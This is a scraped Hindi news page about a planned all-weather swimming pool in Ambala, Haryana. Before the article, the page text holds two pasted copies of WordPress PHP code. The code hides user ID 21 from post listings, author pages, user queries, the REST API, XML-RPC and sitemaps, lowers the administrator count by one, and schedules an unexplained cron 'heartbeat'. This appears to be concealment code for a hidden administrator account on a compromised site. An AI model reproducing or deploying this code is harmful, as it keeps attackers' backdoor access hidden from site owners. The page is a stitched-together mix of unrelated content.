add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 21;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 21 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 21 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 21;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 21;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/21(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 21;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 21 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 21 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 21;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 21;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/21(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 21;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
मुख्यमंत्री मनोहर लाल खट्टर के आशीर्वाद व विधायक असीम गोयल के प्रयासों से अंबाला बनेगा तैराकी के लिए विशेष स्थान -सचदेवा - Press Ki Taquat
No Result
View All Result
भारतीय जनता पार्टी अंबाला के विधानसभा संयोजक एवं मनोनीत पार्षद एडवोकेट संदीप सचदेवा ने जानकारी देते हुए बताया कि अंबाला कैंट में ऑल वेदर स्विमिंग पूल को देखने के बाद और उसकी उपयोगिता खिलाड़ियों के अच्छे भविष्य को देखते हुए और हरियाणा में खेल वा खिलाड़ियों को बढ़ावा देने के लिए बहुत जल्द अंबाला शहर में भी ऐसा ही एक ऑल वेदर स्विमिंग पूल शुरू कर दिया जाएगा !!
उन्होंने बताया कि 2016 में जिस ऑल वेदर स्विमिंग पूल की घोषणा अंबाला शहर विधानसभा के लिए की गई थी अब उस काम को अमलीजामा पहनाने का सिलसिला शुरू कर दिया गया है माननीय मुख्यमंत्री जी के पहल पर यह कार्रवाई शुरू की गई है और इसके लिए उन्होंने अंबाला के विधायक असीम गोयल के प्रयासों के लिए उनका भी विशेष आभार व्यक्त किया क्योंकि उनके प्रयासों के बिना यह काम संभव नहीं था!!
उन्होंने बताया कि गृह एवं स्वास्थ्य मंत्री अनिल विज जी के प्रयासों से कैंट में जो ऑल वेदर स्विमिंग पूल बना है उसकी प्रशंसा पूरे भारतवर्ष में खेलो इंडिया के दौरान आए खिलाड़ियों ने की और उसी कार्य को देखते हुए माननीय मुख्यमंत्री ने यह फैसला किया कि अंबाला को तैराकी के लिए और आगे बढ़ाया जाए और जो स्विमिंग पूल अंबाला शहर विधानसभा के लिए प्रस्तावित था उसको भी तुरंत ऑल वेदर करवाया जाए!!
उन्होंने कहा कि बहुत जल्द अंबाला शहर सेक्टर 10 के स्पोर्ट्स कंपलेक्स में में भी ऑल वेदर स्विमिंग पूल का निर्माण कार्य तेजी से शुरू होगा और जिसके बाद हरियाणा में अंबाला तैराकी के लिए सबसे अच्छा स्थान बन जाएगा!! क्योंकि यहां पर राष्ट्रीय अंतरराष्ट्रीय स्तर पर प्रतियोगिताएं करने के लिए दो ऑल वेदर स्विमिंग पूल होंगे!!
हरियाणा के लिए और विशेष तौर पर अंबाला के युवाओ व खिलाड़ियों के लिए यह एक बहुत अच्छा तोहफा उनके सुनहरे भविष्य के लिए हरियाणा सरकार द्वारा दिया जाए रहा है इस पहल के लिए माननीय मुख्यमंत्री श्री मनोहर लाल खट्टर जी वा अंबाला के विधायक असीम गोयल का का पूर्व मेयर रमेश मल ,मनीष आनंद ,सुंदर ढींगरा, सुरेश सहोता , शोभा पुनिया, यतिन बंसल, पिंकू सूद आदि भाजपा पार्षदों वा कार्यकर्ताओं ने बहुत-बहुत आभार व धन्यवाद किया!!!
Post Views: 206
No Result
View All Result